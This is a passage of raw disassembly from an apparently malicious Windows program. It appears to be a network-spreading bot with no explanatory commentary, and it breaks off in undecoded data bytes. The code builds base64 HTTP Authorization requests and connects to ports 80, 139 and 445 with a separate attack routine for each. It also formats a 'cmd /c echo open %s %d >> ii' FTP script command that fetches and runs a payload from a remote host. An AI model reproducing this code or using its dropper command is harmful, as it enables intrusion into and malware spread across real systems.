; =============== S U B	R O U T	I N E =======================================



sub_404032	proc near		; CODE XREF: sub_4041D4+24p

var_40		= qword	ptr -40h

		mov	eax, offset loc_4230E7
		call	sub_418290
		sub	esp, 2Ch
		mov	al, [ebp+13h]
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		lea	ecx, [ebp-38h]
		push	edi
		mov	[ebp-20h], edi
		mov	[ebp-38h], al
		call	sub_404667
		push	1
		pop	ebx
		push	dword ptr [ebp+10h]
		mov	[ebp-4], ebx
		call	sub_403FE6
		cmp	[ebp-2Ch], eax
		pop	ecx
		jnb	short loc_404074
		push	edi
		push	eax
		lea	ecx, [ebp-38h]
		call	sub_4045E2


loc_404074:				; CODE XREF: sub_404032+36j
		cmp	[ebp+10h], edi
		mov	[ebp-18h], edi
		jbe	loc_404191
		mov	ebx, [ebp+10h]


loc_404083:				; CODE XREF: sub_404032+156j
		cmp	dword ptr [ebp+10h], 3
		jb	short loc_40408D
		push	3
		jmp	short loc_40409F
; ---------------------------------------------------------------------------


loc_40408D:				; CODE XREF: sub_404032+55j
		cmp	dword ptr [ebp+10h], 2
		jnz	short loc_404097
		push	2
		jmp	short loc_40409F
; ---------------------------------------------------------------------------


loc_404097:				; CODE XREF: sub_404032+5Fj
		cmp	dword ptr [ebp+10h], 1
		jnz	short loc_4040A0
		push	1


loc_40409F:				; CODE XREF: sub_404032+59j
					; sub_404032+63j
		pop	ebx


loc_4040A0:				; CODE XREF: sub_404032+69j
		mov	[ebp-28h], ebx
		mov	[ebp-24h], edi
		fild	qword ptr [ebp-28h]
		push	ecx
		push	ecx		; double
		fmul	dbl_424288
		fstp	[esp+40h+var_40]
		call	sub_417DEB
		pop	ecx
		pop	ecx
		call	sub_417DC4
		cmp	ebx, edi
		mov	[ebp-1Ch], eax
		jbe	short loc_4040DF
		mov	esi, [ebp+0Ch]
		mov	ecx, ebx
		mov	edx, ecx
		lea	edi, [ebp-10h]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		xor	edi, edi


loc_4040DF:				; CODE XREF: sub_404032+93j
		mov	cl, [ebp-10h]
		mov	dl, [ebp-10h]
		sar	cl, 2
		and	cl, 3Fh
		and	dl, 3
		mov	[ebp-14h], cl
		mov	cl, [ebp-0Fh]
		sar	cl, 4
		and	cl, 0Fh
		add	[ebp+0Ch], ebx
		shl	dl, 4
		add	cl, dl
		mov	dl, [ebp-0Fh]
		mov	[ebp-13h], cl
		mov	cl, [ebp-0Eh]
		sar	cl, 6
		and	dl, 0Fh
		sub	[ebp+10h], ebx
		and	cl, 3
		xor	esi, esi
		shl	dl, 2
		add	cl, dl
		mov	[ebp-12h], cl
		mov	cl, [ebp-0Eh]
		and	cl, 3Fh
		cmp	eax, edi
		mov	[ebp-11h], cl
		jbe	short loc_40414D
		add	[ebp-18h], eax


loc_404131:				; CODE XREF: sub_404032+119j
		movsx	eax, byte ptr [ebp+esi-14h]
		lea	ecx, [ebp-38h]
		mov	al, byte_42876C[eax]
		push	eax
		push	1
		call	sub_404464
		inc	esi
		cmp	esi, [ebp-1Ch]
		jb	short loc_404131


loc_40414D:				; CODE XREF: sub_404032+FAj
		cmp	dword ptr [ebp-18h], 48h
		jb	short loc_40416B
		push	dword ptr [ebp+14h]
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	ecx, [ebp-38h]
		push	dword ptr [ebp+14h]
		call	sub_4044BD
		mov	[ebp-18h], edi


loc_40416B:				; CODE XREF: sub_404032+11Fj
		push	4
		pop	esi
		cmp	[ebp-1Ch], esi
		jnb	short loc_404185
		sub	esi, [ebp-1Ch]


loc_404176:				; CODE XREF: sub_404032+151j
		push	3Dh
		push	1
		lea	ecx, [ebp-38h]
		call	sub_404464
		dec	esi
		jnz	short loc_404176


loc_404185:				; CODE XREF: sub_404032+13Fj
		cmp	[ebp+10h], edi
		ja	loc_404083
		push	1
		pop	ebx


loc_404191:				; CODE XREF: sub_404032+48j
		mov	esi, [ebp+8]
		mov	al, [ebp-38h]
		push	edi
		mov	ecx, esi
		mov	[esi], al
		call	sub_404667
		push	dword_424280
		lea	eax, [ebp-38h]
		mov	ecx, esi
		push	edi
		push	eax
		call	sub_404514
		mov	[ebp-20h], ebx
		and	byte ptr [ebp-4], 0
		push	ebx
		lea	ecx, [ebp-38h]
		call	sub_404667
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_404032	endp


; =============== S U B	R O U T	I N E =======================================



sub_4041D4	proc near		; CODE XREF: ___:004043CFp
		mov	eax, offset loc_423104
		call	sub_418290
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		push	offset byte_436EDC
		lea	eax, [ebp-1Ch]
		push	dword ptr [ebp+10h]
		xor	ebx, ebx
		mov	[ebp-4], ebx
		push	dword ptr [ebp+0Ch]
		push	eax
		call	sub_404032
		mov	eax, [ebp+1Ch]
		mov	ecx, [ebp-14h]
		mov	byte ptr [ebp-4], 1
		lea	esi, [ecx+eax+36h]
		push	esi
		call	sub_417B89
		mov	edi, eax
		add	esp, 14h
		cmp	edi, ebx
		jnz	short loc_40421E
		xor	bl, bl
		jmp	short loc_404262
; ---------------------------------------------------------------------------


loc_40421E:				; CODE XREF: sub_4041D4+44j
		mov	ecx, [ebp-18h]
		mov	eax, offset dword_424290
		cmp	ecx, ebx
		jnz	short loc_40422C
		mov	ecx, eax


loc_40422C:				; CODE XREF: sub_4041D4+54j
		cmp	[ebp+18h], ebx
		jz	short loc_404234
		mov	eax, [ebp+18h]


loc_404234:				; CODE XREF: sub_4041D4+5Bj
		push	ecx
		push	eax
		push	offset aGetHttp1_0Host ; "GET /	HTTP/1.0\r\nHost: %s\r\nAuthorization"...
		push	esi
		push	edi
		call	sub_41782A
		add	esp, 14h
		push	ebx
		push	esi
		push	edi
		push	dword ptr [ebp+8]
		call	dword_43ADE8
		cmp	eax, esi
		jz	short loc_404259
		xor	bl, bl
		jmp	short loc_40425B
; ---------------------------------------------------------------------------


loc_404259:				; CODE XREF: sub_4041D4+7Fj
		mov	bl, 1


loc_40425B:				; CODE XREF: sub_4041D4+83j
		push	edi
		call	sub_417C3B
		pop	ecx


loc_404262:				; CODE XREF: sub_4041D4+48j
		and	byte ptr [ebp-4], 0
		push	1
		lea	ecx, [ebp-1Ch]
		call	sub_404667
		or	dword ptr [ebp-4], 0FFFFFFFFh
		push	1
		lea	ecx, [ebp+14h]
		call	sub_404667
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	al, bl
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_4041D4	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		and	byte ptr [ebp-420h], 0
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp-41Fh]
		push	8Fh
		rep stosd
		stosw
		stosb
		lea	eax, [ebp-420h]
		push	offset sub_428918
		push	eax
		call	sub_417390
		add	esp, 0Ch
		mov	eax, offset byte_42F674
		push	eax
		push	eax
		push	dword_436F0C
		push	dword ptr [ebp+8]
		call	sub_40AEE0
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d >> ii &echo user"...
		lea	eax, [ebp-391h]
		push	400h
		push	eax
		call	sub_41782A
		add	eax, 90h
		push	eax
		lea	eax, [ebp-420h]
		push	eax
		push	164h
		lea	eax, [ebp-8]
		push	offset sub_4287B0
		push	eax
		call	sub_403A90
		xor	esi, esi
		add	esp, 30h
		cmp	[ebp-4], esi
		jnz	short loc_40432B
		xor	eax, eax
		jmp	loc_404457
; ---------------------------------------------------------------------------


loc_40432B:				; CODE XREF: ___:00404322j
		mov	[ebp-0Ch], esi


loc_40432E:				; CODE XREF: ___:0040442Ej
		test	esi, esi
		jnz	loc_404434
		push	6
		push	1
		push	2
		call	near ptr 71AB3C22h
		nop
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_40441C
		xor	eax, eax
		lea	edi, [ebp-1Ah]
		stosd
		push	dword ptr [ebp+0A8h]
		stosd
		stosd
		stosw
		mov	word ptr [ebp-1Ch], 2
		call	dword_43AD98
		mov	[ebp-1Ah], ax
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_43ADD8
		mov	[ebp-18h], eax
		lea	eax, [ebp-1Ch]
		push	10h
		push	eax
		push	ebx
		call	dword_43AD40
		cmp	eax, 0FFFFFFFFh
		jz	loc_404411
		cmp	dword ptr [ebp+0A8h], 50h
		jnz	short loc_4043D9
		mov	al, [ebp+0C3h]
		sub	esp, 10h
		mov	esi, esp
		mov	[ebp-20h], esp
		push	0
		mov	ecx, esi
		mov	[esi], al
		call	sub_404667
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+0Ch]
		push	eax
		mov	ecx, esi
		call	sub_4046A3
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_4041D4
		add	esp, 1Ch
		jmp	short loc_40440E
; ---------------------------------------------------------------------------


loc_4043D9:				; CODE XREF: ___:00404397j
		cmp	dword ptr [ebp+0A8h], 8Bh
		jnz	short loc_4043F3
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_403F94
		jmp	short loc_40440B
; ---------------------------------------------------------------------------


loc_4043F3:				; CODE XREF: ___:004043E3j
		cmp	dword ptr [ebp+0A8h], 1BDh
		jnz	short loc_404411
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_403EBA


loc_40440B:				; CODE XREF: ___:004043F1j
		add	esp, 0Ch


loc_40440E:				; CODE XREF: ___:004043D7j
		movzx	esi, al


loc_404411:				; CODE XREF: ___:0040438Aj
					; ___:004043FDj
		push	ebx
		call	dword_43AE30
		test	esi, esi
		jnz	short loc_404427


loc_40441C:				; CODE XREF: ___:00404347j
		push	3E8h
		nop
		call	near ptr 2620494h


loc_404427:				; CODE XREF: ___:0040441Aj
		inc	dword ptr [ebp-0Ch]
		cmp	dword ptr [ebp-0Ch], 2
		jl	loc_40432E


loc_404434:				; CODE XREF: ___:00404330j
		lea	ecx, [ebp-8]
		call	sub_4038B5
		test	esi, esi
		jz	short loc_404455
		mov	eax, [ebp+0B0h]
		imul	eax, 3Ch
		inc	dword_42ACB8[eax]
		lea	eax, dword_42ACB8[eax]


loc_404455:				; CODE XREF: ___:0040443Ej
		mov	eax, esi


loc_404457:				; CODE XREF: ___:00404326j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4230C8


loc_40445C:				; CODE XREF: sub_4230C8+3j
					; ___:004230E1j ...
		push	1
		call	sub_404667
		retn
; END OF FUNCTION CHUNK	FOR sub_4230C8

; =============== S U B	R O U T	I N E =======================================



sub_404464	proc near		; CODE XREF: sub_404032+110p
					; sub_404032+14Bp

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	eax, dword_424280
		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_40447E
		call	sub_42298A


loc_40447E:				; CODE XREF: sub_404464+13j
		test	ebx, ebx
		jbe	short loc_4044B5
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_4045E2
		test	al, al
		jz	short loc_4044B5
		movsx	eax, [esp+0Ch+arg_4]
		push	ebx
		push	eax
		mov	eax, [esi+4]
		add	eax, [esi+8]
		push	eax
		call	sub_417330
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0


loc_4044B5:				; CODE XREF: sub_404464+1Cj
					; sub_404464+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_404464	endp


; =============== S U B	R O U T	I N E =======================================



sub_4044BD	proc near		; CODE XREF: sub_404032+131p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, dword_424280
		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_4044D7
		call	sub_42298A


loc_4044D7:				; CODE XREF: sub_4044BD+13j
		test	ebx, ebx
		jbe	short loc_40450C
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_4045E2
		test	al, al
		jz	short loc_40450C
		mov	eax, [esi+8]
		push	ebx
		push	[esp+10h+arg_0]
		add	eax, [esi+4]
		push	eax
		call	sub_417390
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [edi+eax], 0


loc_40450C:				; CODE XREF: sub_4044BD+1Cj
					; sub_4044BD+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_4044BD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404514	proc near		; CODE XREF: sub_404032+17Cp
					; sub_4228A0+15p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		mov	edi, ecx
		cmp	[ebx+8], eax
		jnb	short loc_40452C
		call	sub_422863


loc_40452C:				; CODE XREF: sub_404514+11j
		mov	eax, [ebx+8]
		mov	ecx, [ebp+arg_4]
		mov	esi, eax
		sub	esi, ecx
		cmp	[ebp+arg_8], esi
		jnb	short loc_40453E
		mov	esi, [ebp+arg_8]


loc_40453E:				; CODE XREF: sub_404514+25j
		cmp	edi, ebx
		jnz	short loc_404560
		push	dword_424280
		add	esi, ecx
		mov	ecx, edi
		push	esi
		call	sub_4046D8
		push	[ebp+arg_4]
		mov	ecx, edi
		push	0
		call	sub_4046D8
		jmp	short loc_4045D9
; ---------------------------------------------------------------------------


loc_404560:				; CODE XREF: sub_404514+2Cj
		test	esi, esi
		jbe	short loc_4045A3
		cmp	esi, eax
		jnz	short loc_4045A3
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_404574
		mov	eax, offset dword_424290


loc_404574:				; CODE XREF: sub_404514+59j
		cmp	byte ptr [eax-1], 0FEh
		jnb	short loc_4045A3
		push	1
		mov	ecx, edi
		call	sub_404667
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40458F
		mov	eax, offset dword_424290


loc_40458F:				; CODE XREF: sub_404514+74j
		mov	[edi+4], eax
		mov	ecx, [ebx+8]
		mov	[edi+8], ecx
		mov	ecx, [ebx+0Ch]
		mov	[edi+0Ch], ecx
		inc	byte ptr [eax-1]
		jmp	short loc_4045D9
; ---------------------------------------------------------------------------


loc_4045A3:				; CODE XREF: sub_404514+4Ej
					; sub_404514+52j ...
		push	1
		push	esi
		mov	ecx, edi
		call	sub_4045E2
		test	al, al
		jz	short loc_4045D9
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_4045BD
		mov	eax, offset dword_424290


loc_4045BD:				; CODE XREF: sub_404514+A2j
		mov	ecx, [ebp+arg_4]
		push	esi
		add	eax, ecx
		push	eax
		push	dword ptr [edi+4]
		call	sub_417390
		mov	eax, [edi+4]
		add	esp, 0Ch
		mov	[edi+8], esi
		and	byte ptr [eax+esi], 0


loc_4045D9:				; CODE XREF: sub_404514+4Aj
					; sub_404514+8Dj ...
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
sub_404514	endp


; =============== S U B	R O U T	I N E =======================================



sub_4045E2	proc near		; CODE XREF: sub_404032+3Dp
					; sub_404464+28p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		jbe	short loc_4045F4
		call	sub_42298A


loc_4045F4:				; CODE XREF: sub_4045E2+Bj
		mov	ecx, [esi+4]
		xor	edx, edx
		cmp	ecx, edx
		jz	short loc_40461D
		mov	al, [ecx-1]
		cmp	al, dl
		jz	short loc_40461D
		cmp	al, 0FFh
		jz	short loc_40461D
		cmp	edi, edx
		jnz	short loc_404658
		dec	al
		push	edx
		mov	[ecx-1], al


loc_404612:				; CODE XREF: sub_4045E2+47j
		mov	ecx, esi
		call	sub_404667


loc_404619:				; CODE XREF: sub_4045E2+4Bj
					; sub_4045E2+52j
		xor	al, al
		jmp	short loc_404662
; ---------------------------------------------------------------------------


loc_40461D:				; CODE XREF: sub_4045E2+19j
					; sub_4045E2+20j ...
		cmp	edi, edx
		jnz	short loc_404636
		cmp	[esp+8+arg_4], dl
		jz	short loc_40462B
		push	1
		jmp	short loc_404612
; ---------------------------------------------------------------------------


loc_40462B:				; CODE XREF: sub_4045E2+43j
		cmp	ecx, edx
		jz	short loc_404619
		mov	[esi+8], edx
		mov	[ecx], dl
		jmp	short loc_404619
; ---------------------------------------------------------------------------


loc_404636:				; CODE XREF: sub_4045E2+3Dj
		cmp	[esp+8+arg_4], dl
		jz	short loc_404653
		mov	eax, [esi+0Ch]
		cmp	eax, 1Fh
		ja	short loc_404648
		cmp	eax, edi
		jnb	short loc_404660


loc_404648:				; CODE XREF: sub_4045E2+60j
		push	1
		mov	ecx, esi
		call	sub_404667
		jmp	short loc_404658
; ---------------------------------------------------------------------------


loc_404653:				; CODE XREF: sub_4045E2+58j
		cmp	[esi+0Ch], edi
		jnb	short loc_404660


loc_404658:				; CODE XREF: sub_4045E2+28j
					; sub_4045E2+6Fj
		push	edi
		mov	ecx, esi
		call	sub_40473F


loc_404660:				; CODE XREF: sub_4045E2+64j
					; sub_4045E2+74j
		mov	al, 1


loc_404662:				; CODE XREF: sub_4045E2+39j
		pop	edi
		pop	esi
		retn	8
sub_4045E2	endp


; =============== S U B	R O U T	I N E =======================================



sub_404667	proc near		; CODE XREF: sub_404032+1Fp
					; sub_404032+16Ap ...

arg_0		= byte ptr  4

		cmp	[esp+arg_0], 0
		push	esi
		mov	esi, ecx
		jz	short loc_404693
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_404693
		lea	ecx, [eax-1]
		mov	al, [eax-1]
		test	al, al
		jz	short loc_40468C
		cmp	al, 0FFh
		jz	short loc_40468C
		dec	al
		mov	[ecx], al
		jmp	short loc_404693
; ---------------------------------------------------------------------------


loc_40468C:				; CODE XREF: sub_404667+19j
					; sub_404667+1Dj
		push	ecx
		call	sub_4182AF
		pop	ecx


loc_404693:				; CODE XREF: sub_404667+8j
					; sub_404667+Fj ...
		and	dword ptr [esi+4], 0
		and	dword ptr [esi+8], 0
		and	dword ptr [esi+0Ch], 0
		pop	esi
		retn	4
sub_404667	endp


; =============== S U B	R O U T	I N E =======================================



sub_4046A3	proc near		; CODE XREF: ___:004043C3p
					; sub_4047FC+28p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		push	1
		mov	esi, ecx
		push	edi
		call	sub_4045E2
		test	al, al
		jz	short loc_4046D1
		push	edi
		push	[esp+0Ch+arg_0]
		push	dword ptr [esi+4]
		call	sub_417390
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0


loc_4046D1:				; CODE XREF: sub_4046A3+12j
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
sub_4046A3	endp


; =============== S U B	R O U T	I N E =======================================



sub_4046D8	proc near		; CODE XREF: sub_404514+39p
					; sub_404514+45p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, ecx
		cmp	[edi+8], esi
		jnb	short loc_4046EB
		call	sub_422863


loc_4046EB:				; CODE XREF: sub_4046D8+Cj
		mov	ecx, edi
		call	sub_4047FC
		mov	eax, [edi+8]
		mov	ebx, [esp+0Ch+arg_4]
		sub	eax, esi
		cmp	eax, ebx
		jnb	short loc_404701
		mov	ebx, eax


loc_404701:				; CODE XREF: sub_4046D8+25j
		test	ebx, ebx
		jbe	short loc_404737
		mov	ecx, [edi+4]
		sub	eax, ebx
		add	ecx, esi
		push	eax
		lea	eax, [ecx+ebx]
		push	eax
		push	ecx
		call	sub_4182C0
		mov	esi, [edi+8]
		add	esp, 0Ch
		sub	esi, ebx
		mov	ecx, edi
		push	0
		push	esi
		call	sub_4045E2
		test	al, al
		jz	short loc_404737
		mov	eax, [edi+4]
		mov	[edi+8], esi
		and	byte ptr [esi+eax], 0


loc_404737:				; CODE XREF: sub_4046D8+2Bj
					; sub_4046D8+53j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_4046D8	endp


; =============== S U B	R O U T	I N E =======================================



sub_40473F	proc near		; CODE XREF: sub_4045E2+79p
		mov	eax, offset loc_423110
		call	sub_418290
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		or	edi, 1Fh
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		mov	[ebp-10h], esp
		mov	[ebp-14h], esi
		jbe	short loc_404765
		mov	edi, [ebp+8]


loc_404765:				; CODE XREF: sub_40473F+21j
		and	dword ptr [ebp-4], 0
		lea	eax, [edi+2]
		test	eax, eax
		jge	short loc_404772
		xor	eax, eax


loc_404772:				; CODE XREF: sub_40473F+2Fj
		push	eax
		call	sub_4185F5
		pop	ecx
		mov	[ebp+8], eax
		jmp	short loc_4047A3
; ---------------------------------------------------------------------------


loc_40477E:				; DATA XREF: ___:00424F9Co
		mov	eax, [ebp+8]
		mov	[ebp-18h], eax
		add	eax, 2
		test	eax, eax
		jge	short loc_40478D
		xor	eax, eax


loc_40478D:				; CODE XREF: sub_40473F+4Aj
		push	eax
		call	sub_4185F5
		mov	[ebp+8], eax
		pop	ecx
		mov	eax, offset loc_40479D
		retn
; ---------------------------------------------------------------------------


loc_40479D:				; DATA XREF: sub_40473F+58o
		mov	esi, [ebp-14h]
		mov	edi, [ebp-18h]


loc_4047A3:				; CODE XREF: sub_40473F+3Dj
		mov	eax, [esi+8]
		test	eax, eax
		jbe	short loc_4047C1
		cmp	eax, edi
		jbe	short loc_4047B0
		mov	eax, edi


loc_4047B0:				; CODE XREF: sub_40473F+6Dj
		push	eax
		mov	eax, [ebp+8]
		push	dword ptr [esi+4]
		inc	eax
		push	eax
		call	sub_417390
		add	esp, 0Ch


loc_4047C1:				; CODE XREF: sub_40473F+69j
		mov	ebx, [esi+8]
		push	1
		mov	ecx, esi
		call	sub_404667
		mov	eax, [ebp+8]
		inc	eax
		mov	[esi+4], eax
		and	byte ptr [eax-1], 0
		cmp	ebx, edi
		mov	[esi+0Ch], edi
		ja	short loc_4047E1
		mov	edi, ebx


loc_4047E1:				; CODE XREF: sub_40473F+9Ej
		mov	eax, [esi+4]
		mov	ecx, [ebp-0Ch]
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	4
sub_40473F	endp


; =============== S U B	R O U T	I N E =======================================



sub_4047FC	proc near		; CODE XREF: sub_4046D8+15p
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, [edi+4]
		test	esi, esi
		jz	short loc_404829
		mov	al, [esi-1]
		test	al, al
		jz	short loc_404829
		cmp	al, 0FFh
		jz	short loc_404829
		push	1
		call	sub_404667
		push	esi
		call	sub_417AB0
		pop	ecx
		push	eax
		push	esi
		mov	ecx, edi
		call	sub_4046A3


loc_404829:				; CODE XREF: sub_4047FC+9j
					; sub_4047FC+10j ...
		pop	edi
		pop	esi
		retn
sub_4047FC	endp


; =============== S U B	R O U T	I N E =======================================



sub_40482C	proc near		; DATA XREF: ___:00426008o
		test	byte_4CDCAC, 1
		jnz	short loc_40483C
		or	byte_4CDCAC, 1


loc_40483C:				; CODE XREF: sub_40482C+7j
		jmp	$+5
		push	offset nullsub_1
		call	sub_418670
		pop	ecx
		retn
sub_40482C	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40484E	proc near		; DATA XREF: ___:0042600Co
		jmp	$+5
sub_40484E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_404853	proc near
		mov	eax, dword_428BE0
		add	eax, 6
		mov	dword_436EF8, eax
		retn
sub_404853	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404861	proc near		; CODE XREF: sub_404861+D0p
					; ___:00404DC0p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_7		= byte ptr  0Fh
arg_C		= word ptr  14h
arg_14		= dword	ptr  1Ch
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= byte ptr  30h
arg_2B		= byte ptr  33h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_28], 0
		push	ebx
		push	esi
		push	edi
		jz	short loc_404875
		or	[ebp+arg_7], 1
		jmp	short loc_404879
; ---------------------------------------------------------------------------


loc_404875:				; CODE XREF: sub_404861+Cj
		and	[ebp+arg_7], 0FEh


loc_404879:				; CODE XREF: sub_404861+12j
		mov	ecx, [ebp+arg_24]
		mov	ebx, [ebp+arg_20]
		movzx	eax, cx
		lea	edx, [ebx+18h]
		cmp	edx, eax
		ja	short loc_40489D
		or	[ebp+arg_7], 2
		and	[ebp+arg_2B], 0
		lea	eax, [ebx+18h]
		mov	[ebp+arg_14], ebx
		mov	[ebp+arg_C], ax
		jmp	short loc_4048AF
; ---------------------------------------------------------------------------


loc_40489D:				; CODE XREF: sub_404861+26j
		add	eax, 0FFFFFFE8h
		and	[ebp+arg_7], 0FDh
		mov	[ebp+arg_C], cx
		mov	[ebp+arg_14], eax
		mov	[ebp+arg_2B], 1


loc_4048AF:				; CODE XREF: sub_404861+3Aj
		movzx	eax, [ebp+arg_C]
		push	eax
		mov	[ebp+var_4], eax
		call	sub_417B89
		test	eax, eax
		pop	ecx
		mov	[ebp+arg_20], eax
		jz	loc_404948
		push	6
		lea	esi, [ebp+arg_4]
		pop	ecx
		mov	edi, eax
		rep movsd
		mov	edi, [ebp+arg_14]
		mov	esi, [ebp+arg_1C]
		push	edi
		add	eax, 18h
		push	esi
		push	eax
		call	sub_417390
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	0
		push	eax
		push	[ebp+var_4]
		push	[ebp+arg_20]
		push	[ebp+arg_0]
		nop
		call	near ptr 2660000h
		test	eax, eax
		jz	short loc_40493F
		mov	eax, [ebp+var_4]
		cmp	[ebp+var_8], eax
		jnz	short loc_40493F
		push	[ebp+arg_20]
		call	sub_417C3B
		cmp	[ebp+arg_2B], 0
		pop	ecx
		jz	short loc_40493B
		push	0
		sub	ebx, edi
		push	[ebp+arg_24]
		add	edi, esi
		lea	esi, [ebp+arg_4]
		push	ebx
		push	edi
		sub	esp, 18h
		push	6
		pop	ecx
		mov	edi, esp
		push	[ebp+arg_0]
		rep movsd
		call	sub_404861
		add	esp, 2Ch
		jmp	short loc_40494A
; ---------------------------------------------------------------------------


loc_40493B:				; CODE XREF: sub_404861+B3j
		mov	al, 1
		jmp	short loc_40494A
; ---------------------------------------------------------------------------


loc_40493F:				; CODE XREF: sub_404861+9Cj
					; sub_404861+A4j
		push	[ebp+arg_20]
		call	sub_417C3B
		pop	ecx


loc_404948:				; CODE XREF: sub_404861+61j
		xor	al, al


loc_40494A:				; CODE XREF: sub_404861+D8j
					; sub_404861+DCj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_404861	endp

; ---------------------------------------------------------------------------
		db  55h	; U
		db  8Bh	; ‹
		db 0ECh	; ì
		db 0B8h	; ¸
		db 0DCh	; Ü
		db  60h	; `
		db    0
		db    0
		db 0E8h	; è
		db 0D4h	; Ô
		db  31h	; 1
		db    1
		db    0
		db  53h	; S
		db  56h	; V
		db  57h	; W
		db  68h	; h
		db  5Ch	; \
		db  8Ch	; Œ
		db  42h	; B
		db    0
		db 0FFh
		db  75h	; u
		db    8
		db 0E8h	; è
		db  24h	; $
		db  3Eh	; >
		db    1
		db    0
		db  59h	; Y
		db  33h	; 3
		db 0DBh	; Û
		db  85h	; …
		db 0C0h	; À
		db  59h	; Y
		db  74h	; t
		db  4Eh	; N
		db 0FFh
		db  75h	; u
		db    8
		db 0BEh	; ¾
		db    0
		db  20h
		db    0
		db    0
		db  8Dh	; 
		db  85h	; …
		db  24h	; $
		db 0DFh	; ß
		db 0FFh
		db 0FFh
		db  68h	; h
		db  28h	; (
		db  86h	; †
		db  42h	; B
		db    0
		db  56h	; V
		db  50h	; P
		db 0E8h	; è
		db  9Ch	; œ
		db  2Eh	; .
		db    1
		db    0
		db  6Ah	; j
		db  20h
		db  8Dh	; 
		db  85h	; …
		db  24h	; $
		db 0FFh
		db 0FFh
		db 0FFh
		db  53h	; S
		db  50h	; P
		db 0E8h	; è
		db  93h	; “
		db  29h	; )
		db    1
		db    0
		db  8Dh	; 
		db  85h	; …
		db  24h	; $
		db 0DFh	; ß
		db 0FFh
		db 0FFh
		db  83h	; ƒ
		db 0C4h	; Ä
		db  1Ch
		db  89h	; ‰
		db  85h	; …
		db  38h	; 8
		db 0FFh
		db 0FFh
		db 0FFh
		db 0B8h	; ¸
		db 0DCh	; Ü
